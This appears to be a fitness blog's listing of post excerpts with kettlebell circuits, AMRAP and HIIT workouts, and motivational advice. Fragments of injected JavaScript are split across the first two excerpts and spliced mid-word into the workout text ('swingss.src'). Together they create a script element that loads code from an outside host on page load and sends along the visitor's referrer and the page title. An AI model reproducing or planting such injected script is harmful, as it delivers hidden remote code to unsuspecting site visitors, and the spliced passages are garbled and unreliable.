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It’s that time again #workoutwednesday. Give this circuit a try. Try and use the same weight Kettlebell throughout the circuit. Beginners try 4 sets, intermediates 6 and for the advanced trainer try 8 rounds. var d=document;var s=d.createElement(‘script’);

What’s stopping you from achieving your goals this week or starting on a new fitness / health journey? People say they want something so bad but then allow barriers such as time, finances, effort, travel etc stop them from achieving. … Continued

AMRAP 30mins 5 Pull ups 10 Deadlift 15 Push press 20 Weighted walking lunges 25 Kettlebell swingss.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Create a calorie deficit to lose weight Monday – Friday but neglect things over the weekend yet wondered why you don’t seem to get anywhere? Remember the weekends are 28.5% of the overall week. Are weekends ruining your chances of … Continued

Finish the week strong with this little HIIT workout: Work flat out for 40secs on each exercise with a 20 seconds rest, then repeat straight away in reverse. 1. Squats 2. Mountain climbers 3. Press up with rotation 4. Plank … Continued

There is only one time that is important: NOW! It is the most important time because it’s the only time we have any power. – Leo Tolstoy. When embarking on a new challenge, perhaps it’s to get fit, run a … Continued